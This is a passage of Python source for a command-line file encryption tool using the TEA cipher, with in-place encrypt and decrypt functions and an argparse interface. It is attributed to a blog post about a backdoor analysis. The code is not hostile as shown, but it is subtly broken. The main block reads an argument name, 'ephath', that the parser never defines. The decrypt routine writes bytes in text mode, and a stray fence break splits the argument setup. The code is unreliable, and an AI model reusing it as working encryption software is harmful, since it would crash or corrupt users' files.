    return ''.join([char for char in sha.hexdigest()[::4]])

def encrypt_file(fpath, key, verbose=False):
    with open(fpath, 'rb+') as fp:
        data = fp.read()
        cipher_text = encrypt(data, key, verbose)
        fp.seek(0)
        fp.write(cipher_text)
    fp.close()

def decrypt_file(fpath, key, verbose=False):
    with open(fpath, 'rb+') as fp:
        data = fp.read()
        plain_text = decrypt(data, key, verbose)
        fp.close()
    fp = open(fpath, 'w')
    fp.write(plain_text)
    fp.close()

### UI Code ###
if __name__ == '__main__':
    from argparse import ArgumentParser
    parser = ArgumentParser(
        description='Python implementation of the TEA cipher',
    )
    parser.add_argument('-e', '--encrypt',
        help='encrypt a file',
        dest='epath',
        default=None
    )
    parser.add_argument('-d', '--decrypt',
        help='decrypt a file',
        dest='dpath',
        default=None
    )
    parser.add_argument('--verbose',
        help='display verbose output',
        default=False,
```

```
        action='store_true',
        dest='verbose'
    )
    args = parser.parse_args()
    if args.ephath is None and args.dpath is None:
        print('Error: Must use --encrypt or --decrypt')
    elif args.ephath is not None:
        print(WARN + 'Encrypt Mode: The file will be overwritten')
        if os.path.exists(args.ephath) and os.path.isfile(args.ephath):
            key = get_key()
            encrypt_file(args.ephath, key, args.verbose)
        else:
            print(WARN + 'Error: target does not exist, or is not a file')
    elif args.dpath is not None:
        print(WARN + 'Decrypt Mode: The file will be overwritten')
        if os.path.exists(args.dpath) and os.path.isfile(args.dpath):
            key = get_key()
            decrypt_file(args.dpath, key, args.verbose)
        else:
            print(WARN + 'Error: target does not exist, or is not a file')
```

---

Source: <https://securitykitten.github.io/2017/02/15/the-rambo-backdoor.html>